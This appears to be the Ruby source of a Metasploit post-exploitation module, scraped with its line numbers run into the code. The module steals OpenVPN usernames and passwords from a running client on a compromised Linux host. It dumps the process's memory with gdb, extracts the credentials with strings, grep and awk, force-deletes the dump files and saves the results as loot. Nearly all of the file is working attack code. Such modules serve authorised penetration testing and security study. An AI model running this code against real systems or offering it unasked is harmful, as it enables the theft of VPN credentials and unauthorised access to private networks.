Path: blob/master/modules/post/linux/gather/openvpn_credentials.rb
31166 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::Priv8include Msf::Post::Linux::System910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OpenVPN Gather Credentials',15'Description' => %q{16This module grab OpenVPN credentials from a running process17in Linux.1819Note: --auth-nocache must not be set in the OpenVPN command line.20},21'License' => MSF_LICENSE,22'Author' => [23'rvrsh3ll', # Discovery24'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit Module25],26'Platform' => ['linux'],27'SessionTypes' => ['shell', 'meterpreter'],28'References' => [29['URL', 'https://gist.github.com/rvrsh3ll/cc93a0e05e4f7145c9eb#file-openvpnscraper-sh'],30[ 'ATT&CK', Mitre::Attack::Technique::T1003_007_PROC_FILESYSTEM ]31],32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [],35'Reliability' => []36}37)38)3940register_options([41OptInt.new('PID', [true, 'Process IDentifier to OpenVPN client.']),42OptString.new('TMP_PATH', [true, 'The path to the directory to save dump process', '/tmp/'])43])44end4546def pid47datastore['PID']48end4950def tmp_path51datastore['TMP_PATH']52end5354def run55user = cmd_exec('/usr/bin/whoami')56print_good("Module running as \"#{user}\" user")5758unless is_root?59print_error('This module requires root permissions.')60return61end6263cmd = "/bin/grep rw-p /proc/#{pid}/maps | "64cmd << 'sed -n \'s/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p\' | '65cmd << "while read start stop; do /usr/bin/gdb --batch-silent --silent --pid #{pid} -ex \"dump memory #{tmp_path}#{pid}-$start-$stop.dump 0x$start 0x$stop\"; done 2>/dev/null; echo $?"66dump = cmd_exec(cmd)6768if dump.chomp.to_i != 069print_warning('Could not dump process.')70return71end7273vprint_good('Process dumped successfully.')7475strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")7677deldump = cmd_exec("/bin/rm #{tmp_path}*.dump --force 2>/dev/null; echo $?")78if deldump.chomp.to_i == 079vprint_good('Removing temp files successfully.')80else81print_warning('Could not remove dumped files. Remove manually.')82end8384fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?8586vprint_good("OpenVPN Credentials:\n#{strings}")8788p = store_loot(89'openvpn.grab',90'text/plain',91session,92strings,93nil94)95print_status("OpenVPN Credentials stored in #{p}")96end97end9899100